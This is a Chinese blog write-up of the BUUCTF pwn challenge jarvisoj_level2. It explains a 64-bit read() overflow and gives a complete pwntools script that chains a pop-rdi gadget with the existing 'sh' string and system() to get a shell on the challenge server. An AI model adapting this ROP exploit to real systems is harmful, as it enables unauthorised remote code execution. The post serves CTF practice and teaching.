buuctf jarvisoj_level2 wp(python3)

文章讲述了如何利用64位系统read函数的溢出漏洞,结合已有的system和sh地址,通过ROPgadget找到设置rdi寄存器的gadget,构造payload实现远程连接到服务器并获取shell的过程。
摘要由CSDN通过智能技术生成

事前准备

64b小端序,除了不能shellcode还挺开放的

看看ida:

symtem sh都在

主函数没东西:

调用的函数很明显

漏洞及其利用思路

read函数的溢出很明显,sytem和sh都是现成的,只需要ROPgadget找一下rdi的调用就行(64传参的第一个寄存器)

exp:

from pwn import*

elf=ELF('./level2_x64')
#p=process('./level2_x64')
p=remote('node4.buuoj.cn',26523)
symadd=0x4004c0
shadd=0x600a90
mainadd=0x400620
rdiadd=0x4006b3

payload=b'a'*(128+8)+p64(rdiadd)+p64(shadd)+p64(symadd)
#之所以rdi和sym间不插入retadd是因为那段gadget自带有ret
p.sendlineafter(b"Input:",payload)

p.interactive()

getshell:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值